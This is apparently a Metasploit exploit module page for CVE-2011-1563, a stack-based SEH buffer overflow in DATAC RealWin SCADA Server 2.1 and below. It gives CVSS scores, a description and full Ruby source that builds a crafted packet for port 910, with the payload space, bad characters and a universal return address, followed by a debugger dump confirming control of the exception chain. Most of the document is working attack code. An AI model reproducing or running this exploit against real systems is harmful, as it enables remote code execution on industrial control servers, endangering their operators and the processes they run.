CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
This module exploits a vulnerability found in DATAC Control International RealWin SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE packet via port 910, RealWin will try to create a file (which would be saved to C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user- supplied filename with an inline memcpy routine without proper bounds checking, which results a stack-based buffer overflow, allowing arbitrary remote code execution. Tested version: 2.0 (Build 6.1.8.10)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in DATAC Control International RealWin
SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
packet via port 910, RealWin will try to create a file (which would be saved to
C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-
supplied filename with an inline memcpy routine without proper bounds checking, which
results a stack-based buffer overflow, allowing arbitrary remote code execution.
Tested version: 2.0 (Build 6.1.8.10)
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1563'],
[ 'OSVDB', '72826'],
[ 'BID', '46937'],
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-110-01']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19
],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-03-21'))
register_options([Opt::RPORT(910)])
end
def exploit
connect
data = [0x67542310].pack('V')
data << [0x00000824].pack('V')
data << [0x00100001].pack('V')
data << [0x00000001].pack('V') #Packet type
data << [0x00060000].pack('V')
data << [0x0000ffff].pack('V')
data << rand_text_alpha_upper(221)
data << generate_seh_payload(target.ret)
data << rand_text_alpha_upper(17706 - payload.encoded.length)
data << [0x451c3500].pack('V')
data << [0x00000154].pack('V')
data << [0x00020040].pack('V')
print_status("Trying target #{target.name}...")
sock.put(data)
select(nil,nil,nil,0.5)
handler
disconnect
end
end
=begin
0:022> r
eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd
eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
RealWinDemo+0x2702f:
0042702f f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:022> !exchain
0587f748: RealWinDemo+e0b78 (004e0b78)
0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)
Invalid exception stack at 49a206eb
0:022> u 4002da21
FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:
4002da21 5e pop esi
4002da22 5b pop ebx
4002da23 c3 ret
=end